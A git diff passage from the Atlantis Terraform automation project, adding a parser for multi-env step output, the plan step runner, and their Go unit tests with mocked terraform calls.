in[i:j]) + i = j + 1 + inValue = false + } + } + + if i < len(in) { + if !inValue { + return nil, errRemaining + } + res = append(res, unescape(in[i:], escaped)) + inValue = false + } + if dquoted || squoted { + return nil, errMisquoted + } + if inValue { + return nil, errRemaining + } + + return res, nil +} + +func unescape(s string, escaped bool) string { + if escaped { + return strings.ReplaceAll(strings.ReplaceAll(s, `\\`, `\`), `\"`, `"`) + } + return s +} + +var ( + errInvalidKeySyntax = errors.New("invalid key syntax") + errMisquoted = errors.New("misquoted") + errRemaining = errors.New("remaining unparsed data") +) diff --git a/server/core/runtime/multienv_step_runner_internal_test.go b/server/core/runtime/multienv_step_runner_internal_test.go new file mode 100644 index 0000000000..40eb65aacd --- /dev/null +++ b/server/core/runtime/multienv_step_runner_internal_test.go @@ -0,0 +1,85 @@ +package runtime + +import ( + "errors" + "testing" +) + +func TestMultiEnvStepRunner_Run_parser(t *testing.T) { + t.Run("success", func(t *testing.T) { + tests := map[string][]string{ + "": nil, + "KEY=value": {"KEY", "value"}, + `KEY="value"`: {"KEY", "value"}, + "KEY==": {"KEY", "="}, + `KEY="'"`: {"KEY", "'"}, + `KEY=""`: {"KEY", ""}, + `KEY=a\"b`: {"KEY", `a"b`}, + `KEY="va\"l\"ue"`: {"KEY", `va"l"ue`}, + + "KEY='value'": {"KEY", "value"}, + `KEY='va"l"ue'`: {"KEY", `va"l"ue`}, + `KEY='"'`: {"KEY", `"`}, + "KEY=a'b": {"KEY", "a'b"}, + "KEY=''": {"KEY", ""}, + "KEY='a\\'b'": {"KEY", "a\\'b"}, + + "FOO=bar,QUUX=baz": {"FOO", "bar", "QUUX", "baz"}, + "FOO='bar',QUUX=baz": {"FOO", "bar", "QUUX", "baz"}, + "FOO=bar,QUUX='baz'": {"FOO", "bar", "QUUX", "baz"}, + `FOO="bar",QUUX=baz`: {"FOO", "bar", "QUUX", "baz"}, + `FOO=bar,QUUX="baz"`: {"FOO", "bar", "QUUX", "baz"}, + `FOO="bar",QUUX='baz'`: {"FOO", "bar", "QUUX", "baz"}, + `FOO='bar',QUUX="baz"`: {"FOO", "bar", "QUUX", "baz"}, + + "FOO=\"bar\nbaz\"": {"FOO", "bar\nbaz"}, + + `KEY="foo='bar',lorem=ipsum"`: {"KEY", "foo='bar',lorem=ipsum"}, + `FOO=bar,QUUX="lorem ipsum"`: {"FOO", "bar", "QUUX", "lorem ipsum"}, + + `JSON="{\"ID\":1,\"Name\":\"Reds\",\"Colors\":[\"Crimson\",\"Red\",\"Ruby\",\"Maroon\"]}"`: {"JSON", `{"ID":1,"Name":"Reds","Colors":["Crimson","Red","Ruby","Maroon"]}`}, + + `JSON='{"ID":1,"Name":"Reds","Colors":["Crimson","Red","Ruby","Maroon"]}'`: {"JSON", `{"ID":1,"Name":"Reds","Colors":["Crimson","Red","Ruby","Maroon"]}`}, + } + + for in, exp := range tests { + t.Run(in, func(t *testing.T) { + got, err := parseMultienvLine(in) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + t.Logf("\n%q\n%q", exp, got) + + if e, g := len(exp), len(got); e != g { + t.Fatalf("expecting %d elements, got %d", e, g) + } + + for i, e := range exp { + if g := got[i]; g != e { + t.Errorf("expecting %q at index %d, got %q", e, i, g) + } + } + }) + } + }) + + t.Run("error", func(t *testing.T) { + tests := map[string]error{ + "BAD KEY": errInvalidKeySyntax, + "KEY='missingquote": errMisquoted, + `KEY="missingquote`: errMisquoted, + `KEY="missquoted'`: errMisquoted, + `KEY=a"b`: errMisquoted, + `KEY=value,rem`: errRemaining, + } + + for in, exp := range tests { + t.Run(in, func(t *testing.T) { + if _, err := parseMultienvLine(in); !errors.Is(err, exp) { + t.Fatalf("expecting error %v, got %v", exp, err) + } + }) + } + }) +} diff --git a/server/core/runtime/multienv_step_runner_test.go b/server/core/runtime/multienv_step_runner_test.go new file mode 100644 index 0000000000..b39096a2be --- /dev/null +++ b/server/core/runtime/multienv_step_runner_test.go @@ -0,0 +1,124 @@ +package runtime_test + +import ( + "testing" + + version "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/core/terraform" + terraformmocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestMultiEnvStepRunner_Run(t *testing.T) { + cases := []struct { + Command string + ProjectName string + Output valid.PostProcessRunOutputOption + ExpOut string + ExpErr string + ExpEnv map[string]string + }{ + { + Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_ONE=value1'`, + Output: valid.PostProcessRunOutputShow, + ExpOut: "Dynamic environment variables added:\nTF_VAR_REPODEFINEDVARIABLE_ONE\n", + ExpEnv: map[string]string{ + "TF_VAR_REPODEFINEDVARIABLE_ONE": "value1", + }, + }, + { + Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_TWO=value=1='`, + Output: valid.PostProcessRunOutputShow, + ExpOut: "Dynamic environment variables added:\nTF_VAR_REPODEFINEDVARIABLE_TWO\n", + ExpEnv: map[string]string{ + "TF_VAR_REPODEFINEDVARIABLE_TWO": "value=1=", + }, + }, + { + Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_NO_VALUE'`, + Output: valid.PostProcessRunOutputShow, + ExpErr: "Invalid environment variable definition: TF_VAR_REPODEFINEDVARIABLE_NO_VALUE", + ExpEnv: map[string]string{}, + }, + { + Command: `echo 'TF_VAR1_MULTILINE="foo\\nbar",TF_VAR2_VALUEWITHCOMMA="one,two",TF_VAR3_CONTROL=true'`, + Output: valid.PostProcessRunOutputShow, + ExpOut: "Dynamic environment variables added:\nTF_VAR1_MULTILINE\nTF_VAR2_VALUEWITHCOMMA\nTF_VAR3_CONTROL\n", + ExpEnv: map[string]string{ + "TF_VAR1_MULTILINE": "foo\\nbar", + "TF_VAR2_VALUEWITHCOMMA": "one,two", + "TF_VAR3_CONTROL": "true", + }, + }, + { + Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_HIDE=value1'`, + Output: valid.PostProcessRunOutputHide, + ExpOut: "", + ExpEnv: map[string]string{ + "TF_VAR_REPODEFINEDVARIABLE_HIDE": "value1", + }, + }, + } + RegisterMockTestingT(t) + tfClient := tfclientmocks.NewMockClient() + mockDownloader := terraformmocks.NewMockDownloader() + tfDistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, err := version.NewVersion("0.12.0") + Ok(t, err) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + runStepRunner := runtime.RunStepRunner{ + TerraformExecutor: tfClient, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + ProjectCmdOutputHandler: projectCmdOutputHandler, + } + multiEnvStepRunner := runtime.MultiEnvStepRunner{ + RunStepRunner: &runStepRunner, + } + for _, c := range cases { + t.Run(c.Command, func(t *testing.T) { + tmpDir := t.TempDir() + ctx := command.ProjectContext{ + BaseRepo: models.Repo{ + Name: "basename", + Owner: "baseowner", + }, + HeadRepo: models.Repo{ + Name: "headname", + Owner: "headowner", + }, + Pull: models.PullRequest{ + Num: 2, + HeadBranch: "add-feat", + BaseBranch: "main", + Author: "acme", + }, + User: models.User{ + Username: "acme-user", + }, + Log: logging.NewNoopLogger(t), + Workspace: "myworkspace", + RepoRelDir: "mydir", + TerraformVersion: tfVersion, + ProjectName: c.ProjectName, + } + envMap := make(map[string]string) + value, err := multiEnvStepRunner.Run(ctx, nil, c.Command, tmpDir, envMap, c.Output) + if c.ExpErr != "" { + ErrContains(t, c.ExpErr, err) + return + } + Ok(t, err) + Equals(t, c.ExpOut, value) + Equals(t, c.ExpEnv, envMap) + }) + } +} diff --git a/server/core/runtime/plan_step_runner.go b/server/core/runtime/plan_step_runner.go new file mode 100644 index 0000000000..b3fc491351 --- /dev/null +++ b/server/core/runtime/plan_step_runner.go @@ -0,0 +1,316 @@ +package runtime + +import ( + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + + version "github.com/hashicorp/go-version" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" +) + +const ( + defaultWorkspace = "default" + refreshKeyword = "Refreshing state..." + refreshSeparator = "------------------------------------------------------------------------\n" +) + +var ( + plusDiffRegex = regexp.MustCompile(`(?m)^ {2}\+`) + tildeDiffRegex = regexp.MustCompile(`(?m)^ {2}~`) + minusDiffRegex = regexp.MustCompile(`(?m)^ {2}-`) +) + +type planStepRunner struct { + TerraformExecutor TerraformExec + DefaultTFDistribution terraform.Distribution + DefaultTFVersion *version.Version + CommitStatusUpdater StatusUpdater + AsyncTFExec AsyncTFExec +} + +func NewPlanStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, commitStatusUpdater StatusUpdater, asyncTFExec AsyncTFExec) Runner { + runner := &planStepRunner{ + TerraformExecutor: terraformExecutor, + DefaultTFDistribution: defaultTfDistribution, + DefaultTFVersion: defaultTfVersion, + CommitStatusUpdater: commitStatusUpdater, + AsyncTFExec: asyncTFExec, + } + return NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner) +} + +func (p *planStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + tfDistribution := p.DefaultTFDistribution + tfVersion := p.DefaultTFVersion + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + planFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) + planCmd := p.buildPlanCmd(ctx, extraArgs, path, tfVersion, planFile) + output, err := p.TerraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), planCmd, envs, tfDistribution, tfVersion, ctx.Workspace) + if p.isRemoteOpsErr(output, err) { + ctx.Log.Debug("detected that this project is using TFE remote ops") + return p.remotePlan(ctx, extraArgs, path, tfDistribution, tfVersion, planFile, envs) + } + if err != nil { + return output, err + } + return p.fmtPlanOutput(output, tfVersion), nil +} + +// isRemoteOpsErr returns true if there was an error caused due to this +// project using TFE remote operations. +func (p *planStepRunner) isRemoteOpsErr(output string, err error) bool { + if err == nil { + return false + } + return strings.Contains(output, remoteOpsErr110) || strings.Contains(output, remoteOpsErr01114) || strings.Contains(output, remoteOpsErr012) || strings.Contains(output, remoteOpsErr100) +} + +// remotePlan runs a terraform plan command compatible with TFE remote +// operations. +func (p *planStepRunner) remotePlan(ctx command.ProjectContext, extraArgs []string, path string, tfDistribution terraform.Distribution, tfVersion *version.Version, planFile string, envs map[string]string) (string, error) { + argList := [][]string{ + {"plan", "-input=false", "-refresh", "-no-color"}, + extraArgs, + ctx.EscapedCommentArgs, + } + args := p.flatten(argList) + output, err := p.runRemotePlan(ctx, args, path, tfDistribution, tfVersion, envs) + if err != nil { + return output, err + } + + // If using remote ops, we create our own "fake" planfile with the + // text output of the plan. We do this for two reasons: + // 1) Atlantis relies on there being a planfile on disk to detect which + // projects have outstanding plans. + // 2) Remote ops don't support the -out parameter so we can't save the + // plan. To ensure that what gets applied is the plan we printed to the PR, + // during the apply phase, we diff the output we stored in the fake + // planfile with the pending apply output. + planOutput := StripRefreshingFromPlanOutput(output, tfVersion) + + // We also prepend our own remote ops header to the file so during apply we + // know this is a remote apply. + err = os.WriteFile(planFile, []byte(remoteOpsHeader+planOutput), 0600) + if err != nil { + return output, errors.Wrap(err, "unable to create planfile for remote ops") + } + + return p.fmtPlanOutput(output, tfVersion), nil +} + +func (p *planStepRunner) buildPlanCmd(ctx command.ProjectContext, extraArgs []string, path string, tfVersion *version.Version, planFile string) []string { + tfVars := p.tfVars(ctx, tfVersion) + + // Check if env/{workspace}.tfvars exist and include it. This is a use-case + // from Hootsuite where Atlantis was first created so we're keeping this as + // an homage and a favor so they don't need to refactor all their repos. + // It's also a nice way to structure your repos to reduce duplication. + var envFileArgs []string + envFile := filepath.Join(path, "env", ctx.Workspace+".tfvars") + if _, err := os.Stat(envFile); err == nil { + envFileArgs = []string{"-var-file", envFile} + } + + argList := [][]string{ + // NOTE: we need to quote the plan filename because Bitbucket Server can + // have spaces in its repo owner names. + {"plan", "-input=false", "-refresh", "-out", fmt.Sprintf("%q", planFile)}, + tfVars, + extraArgs, + ctx.EscapedCommentArgs, + envFileArgs, + } + + return p.flatten(argList) +} + +// tfVars returns a list of "-var", "key=value" pairs that identify who and which +// repo this command is running for. This can be used for naming the +// session name in AWS which will identify in CloudTrail the source of +// Atlantis API calls. +// If using Terraform >= 0.12 we don't set any of these variables because +// those versions don't allow setting -var flags for any variables that aren't +// actually used in the configuration. Since there's no way for us to detect +// if the configuration is using those variables, we don't set them. +func (p *planStepRunner) tfVars(ctx command.ProjectContext, tfVersion *version.Version) []string { + if tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion("0.12.0"))) { + return nil + } + + // NOTE: not using maps and looping here because we need to keep the + // ordering for testing purposes. + // NOTE: quoting the values because in Bitbucket the owner can have + // spaces, ex -var atlantis_repo_owner="bitbucket owner". + return []string{ + "-var", + fmt.Sprintf("%s=%q", "atlantis_user", ctx.User.Username), + "-var", + fmt.Sprintf("%s=%q", "atlantis_repo", ctx.BaseRepo.FullName), + "-var", + fmt.Sprintf("%s=%q", "atlantis_repo_name", ctx.BaseRepo.Name), + "-var", + fmt.Sprintf("%s=%q", "atlantis_repo_owner", ctx.BaseRepo.Owner), + "-var", + fmt.Sprintf("%s=%d", "atlantis_pull_num", ctx.Pull.Num), + } +} + +func (p *planStepRunner) flatten(slices [][]string) []string { + var flattened []string + for _, v := range slices { + flattened = append(flattened, v...) + } + return flattened +} + +// fmtPlanOutput uses regex's to remove any leading whitespace in front of the +// terraform output so that the diff syntax highlighting works. Example: +// " - aws_security_group_rule.allow_all" => +// "- aws_security_group_rule.allow_all" +// We do it for +, ~ and -. +// It also removes the "Refreshing..." preamble. +func (p *planStepRunner) fmtPlanOutput(output string, tfVersion *version.Version) string { + output = StripRefreshingFromPlanOutput(output, tfVersion) + output = plusDiffRegex.ReplaceAllString(output, "+") + output = tildeDiffRegex.ReplaceAllString(output, "~") + return minusDiffRegex.ReplaceAllString(output, "-") +} + +// runRemotePlan runs a terraform command that utilizes the remote operations +// backend. It watches the command output for the run url to be printed, and +// then updates the commit status with a link to the run url. +// The run url is a link to the Terraform Enterprise UI where the output +// from the in-progress command can be viewed. +// cmdArgs is the args to terraform to execute. +// path is the path to where we need to execute. +func (p *planStepRunner) runRemotePlan( + ctx command.ProjectContext, + cmdArgs []string, + path string, + tfDistribution terraform.Distribution, + tfVersion *version.Version, + envs map[string]string) (string, error) { + + // updateStatusF will update the commit status and log any error. + updateStatusF := func(status models.CommitStatus, url string) { + if err := p.CommitStatusUpdater.UpdateProject(ctx, command.Plan, status, url, nil); err != nil { + ctx.Log.Err("unable to update status: %s", err) + } + } + + // Start the async command execution. + ctx.Log.Debug("starting async tf remote operation") + _, outCh := p.AsyncTFExec.RunCommandAsync(ctx, filepath.Clean(path), cmdArgs, envs, tfDistribution, tfVersion, ctx.Workspace) + var lines []string + nextLineIsRunURL := false + var runURL string + var err error + + for line := range outCh { + if line.Err != nil { + err = line.Err + break + } + lines = append(lines, line.Line) + + // Here we're checking for the run url and updating the status + // if found. + if line.Line == lineBeforeRunURL { + nextLineIsRunURL = true + } else if nextLineIsRunURL { + runURL = strings.TrimSpace(line.Line) + ctx.Log.Debug("remote run url found, updating commit status") + updateStatusF(models.PendingCommitStatus, runURL) + nextLineIsRunURL = false + } + } + + ctx.Log.Debug("async tf remote operation complete") + output := strings.Join(lines, "\n") + if err != nil { + updateStatusF(models.FailedCommitStatus, runURL) + } else { + updateStatusF(models.SuccessCommitStatus, runURL) + } + return output, err +} + +func StripRefreshingFromPlanOutput(output string, tfVersion *version.Version) string { + if tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion("0.14.0"))) { + // Plan output contains a lot of "Refreshing..." lines, remove it + lines := strings.Split(output, "\n") + finalIndex := 0 + for i, line := range lines { + if strings.Contains(line, refreshKeyword) { + finalIndex = i + } + } + + if finalIndex != 0 { + output = strings.Join(lines[finalIndex+1:], "\n") + } + } else { + // Plan output contains a lot of "Refreshing..." lines followed by a + // separator. We want to remove everything before that separator. + sepIdx := strings.Index(output, refreshSeparator) + if sepIdx > -1 { + output = output[sepIdx+len(refreshSeparator):] + } + } + return output +} + +// remoteOpsErr01114 is the error terraform plan will return if this project is +// using TFE remote operations in TF 0.11.15. +var remoteOpsErr01114 = `Error: Saving a generated plan is currently not supported! + +The "remote" backend does not support saving the generated execution +plan locally at this time. + +` + +// remoteOpsErr012 is the error terraform plan will return if this project is +// using TFE remote operations in TF 0.12.{0-4}. Later versions haven't been +// released yet at this time. +var remoteOpsErr012 = `Error: Saving a generated plan is currently not supported + +The "remote" backend does not support saving the generated execution plan +locally at this time. + +` + +// remoteOpsErr100 is the error terraform plan will return if this project is +// using TFE remote operations in TF 1.0.{0,1}. +var remoteOpsErr100 = `Error: Saving a generated plan is currently not supported + +The "remote" backend does not support saving the generated execution plan +locally at this time. +` + +// remoteOpsErr110 is the error terraform plan will return if this project is +// using Terraform Cloud remote operations in TF 1.1.0 and above +// note: the trailing whitespace is intentional +var remoteOpsErr110 = `╷ +│ Error: Saving a generated plan is currently not supported +│ +│ Terraform Cloud does not support saving the generated execution plan +│ locally at this time. +â•ĩ +` + +// remoteOpsHeader is the header we add to the planfile if this plan was +// generated using TFE remote operations. +var remoteOpsHeader = "Atlantis: this plan was created by remote ops\n" diff --git a/server/core/runtime/plan_step_runner_test.go b/server/core/runtime/plan_step_runner_test.go new file mode 100644 index 0000000000..6a16b03e3f --- /dev/null +++ b/server/core/runtime/plan_step_runner_test.go @@ -0,0 +1,699 @@ +package runtime_test + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/runtime" + runtimemocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" + runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + + . "github.com/runatlantis/atlantis/testing" +) + +func TestRun_AddsEnvVarFile(t *testing.T) { + // Test that if env/workspace.tfvars file exists we use -var-file option. + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + commitStatusUpdater := runtimemocks.NewMockStatusUpdater() + asyncTfExec := runtimemocks.NewMockAsyncTFExec() + + // Create the env/workspace.tfvars file. + tmpDir := t.TempDir() + err := os.MkdirAll(filepath.Join(tmpDir, "env"), 0700) + Ok(t, err) + envVarsFile := filepath.Join(tmpDir, "env/workspace.tfvars") + err = os.WriteFile(envVarsFile, nil, 0600) + Ok(t, err) + + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + // Using version >= 0.10 here so we don't expect any env commands. + tfVersion, _ := version.NewVersion("0.10.0") + logger := logging.NewNoopLogger(t) + s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) + + expPlanArgs := []string{"plan", + "-input=false", + "-refresh", + "-out", + fmt.Sprintf("%q", filepath.Join(tmpDir, "workspace.tfplan")), + "-var", + "atlantis_user=\"username\"", + "-var", + "atlantis_repo=\"owner/repo\"", + "-var", + "atlantis_repo_name=\"repo\"", + "-var", + "atlantis_repo_owner=\"owner\"", + "-var", + "atlantis_pull_num=2", + "extra", + "args", + "comment", + "args", + "-var-file", + envVarsFile, + } + ctx := command.ProjectContext{ + Log: logger, + Workspace: "workspace", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + When(terraform.RunCommandWithVersion(ctx, tmpDir, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("output", nil) + + output, err := s.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + Ok(t, err) + + // Verify that env select was never called since we're in version >= 0.10 + terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, tmpDir, []string{"env", "select", "workspace"}, map[string]string(nil), tfDistribution, tfVersion, "workspace") + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") + Equals(t, "output", output) +} + +func TestRun_UsesDiffPathForProject(t *testing.T) { + // Test that if running for a project, uses a different path for the plan + // file. + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + commitStatusUpdater := runtimemocks.NewMockStatusUpdater() + asyncTfExec := runtimemocks.NewMockAsyncTFExec() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.10.0") + logger := logging.NewNoopLogger(t) + s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + ProjectName: "projectname", + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + When(terraform.RunCommandWithVersion(ctx, "/path", []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("workspace\n", nil) + + expPlanArgs := []string{"plan", + "-input=false", + "-refresh", + "-out", + "\"/path/projectname-default.tfplan\"", + "-var", + "atlantis_user=\"username\"", + "-var", + "atlantis_repo=\"owner/repo\"", + "-var", + "atlantis_repo_name=\"repo\"", + "-var", + "atlantis_repo_owner=\"owner\"", + "-var", + "atlantis_pull_num=2", + "extra", + "args", + "comment", + "args", + } + When(terraform.RunCommandWithVersion(ctx, "/path", expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "default")).ThenReturn("output", nil) + + output, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) +} + +// Test that we format the plan output for better rendering. +func TestRun_PlanFmt(t *testing.T) { + rawOutput := `Refreshing Terraform state in-memory prior to plan... +The refreshed state will be used to calculate this plan, but will not be +persisted to local or remote state storage. + + +------------------------------------------------------------------------ + +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + + create + ~ update in-place + - destroy + +Terraform will perform the following actions: + ++ null_resource.test[0] + id: + + + null_resource.test[1] + id: + + ~ aws_security_group_rule.allow_all + description: "" => "test3" + + - aws_security_group_rule.allow_all +` + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + commitStatusUpdater := runtimemocks.NewMockStatusUpdater() + asyncTfExec := runtimemocks.NewMockAsyncTFExec() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.10.0") + s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) + When(terraform.RunCommandWithVersion( + Any[command.ProjectContext](), + Any[string](), + Any[[]string](), + Any[map[string]string](), + Any[tf.Distribution](), + Any[*version.Version](), + Any[string]())). + Then(func(params []Param) ReturnValues { + // This code allows us to return different values depending on the + // tf command being run while still using the wildcard matchers above. + tfArgs := params[2].([]string) + if stringSliceEquals(tfArgs, []string{"workspace", "show"}) { + return []ReturnValue{"default", nil} + } else if tfArgs[0] == "plan" { + return []ReturnValue{rawOutput, nil} + } + return []ReturnValue{"", errors.New("unexpected call to RunCommandWithVersion")} + }) + actOutput, err := s.Run(command.ProjectContext{Workspace: "default"}, nil, "", map[string]string(nil)) + Ok(t, err) + Equals(t, ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: ++ create +~ update in-place +- destroy + +Terraform will perform the following actions: + ++ null_resource.test[0] + id: + ++ null_resource.test[1] + id: + +~ aws_security_group_rule.allow_all + description: "" => "test3" + +- aws_security_group_rule.allow_all +`, actOutput) +} + +// Test that even if there's an error, we get the returned output. +func TestRun_OutputOnErr(t *testing.T) { + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + commitStatusUpdater := runtimemocks.NewMockStatusUpdater() + asyncTfExec := runtimemocks.NewMockAsyncTFExec() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.10.0") + s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) + expOutput := "expected output" + expErrMsg := "error!" + When(terraform.RunCommandWithVersion( + Any[command.ProjectContext](), + Any[string](), + Any[[]string](), + Any[map[string]string](), + Any[tf.Distribution](), + Any[*version.Version](), + Any[string]())). + Then(func(params []Param) ReturnValues { + // This code allows us to return different values depending on the + // tf command being run while still using the wildcard matchers above. + tfArgs := params[2].([]string) + if stringSliceEquals(tfArgs, []string{"workspace", "show"}) { + return []ReturnValue{"default\n", nil} + } else if tfArgs[0] == "plan" { + return []ReturnValue{expOutput, errors.New(expErrMsg)} + } + return []ReturnValue{"", errors.New("unexpected call to RunCommandWithVersion")} + }) + actOutput, actErr := s.Run(command.ProjectContext{Workspace: "default"}, nil, "", map[string]string(nil)) + ErrEquals(t, expErrMsg, actErr) + Equals(t, expOutput, actOutput) +} + +// Test that if we're using 0.12, we don't set the optional -var atlantis_repo_name +// flags because in >= 0.12 you can't set -var flags if those variables aren't +// being used. +func TestRun_NoOptionalVarsIn012(t *testing.T) { + RegisterMockTestingT(t) + + expPlanArgs := []string{ + "plan", + "-input=false", + "-refresh", + "-out", + fmt.Sprintf("%q", "/path/default.tfplan"), + "extra", + "args", + "comment", + "args", + } + + cases := []struct { + name string + tfVersion string + }{ + { + "stable version", + "0.12.0", + }, + { + "with prerelease", + "0.14.0-rc1", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + commitStatusUpdater := runtimemocks.NewMockStatusUpdater() + asyncTfExec := runtimemocks.NewMockAsyncTFExec() + When(terraform.RunCommandWithVersion( + Any[command.ProjectContext](), + Any[string](), + Any[[]string](), + Any[map[string]string](), + Any[tf.Distribution](), + Any[*version.Version](), + Any[string]())).ThenReturn("output", nil) + + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion(c.tfVersion) + s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) + ctx := command.ProjectContext{ + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + + output, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "default") + }) + } + +} + +// Test plans if using remote ops. +func TestRun_RemoteOps(t *testing.T) { + cases := []struct { + name string + tfVersion string + remoteOpsErr string + }{ + { + name: "0.11.15 error", + tfVersion: "0.11.15", + remoteOpsErr: `Error: Saving a generated plan is currently not supported! + +The "remote" backend does not support saving the generated execution +plan locally at this time. + +`, + }, + { + name: "0.12.* error", + tfVersion: "0.12.0", + remoteOpsErr: `Error: Saving a generated plan is currently not supported + +The "remote" backend does not support saving the generated execution plan +locally at this time. + +`, + }, + { + name: "1.1.0 error", + tfVersion: "1.1.0", + remoteOpsErr: `╷ +│ Error: Saving a generated plan is currently not supported +│ +│ Terraform Cloud does not support saving the generated execution plan +│ locally at this time. +â•ĩ +`, + }, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + + logger := logging.NewNoopLogger(t) + // Now that mocking is set up, we're ready to run the plan. + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + commitStatusUpdater := runtimemocks.NewMockStatusUpdater() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion(c.tfVersion) + asyncTf := &remotePlanMock{} + s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTf) + absProjectPath := t.TempDir() + + // First, terraform workspace gets run. + When(terraform.RunCommandWithVersion( + ctx, + 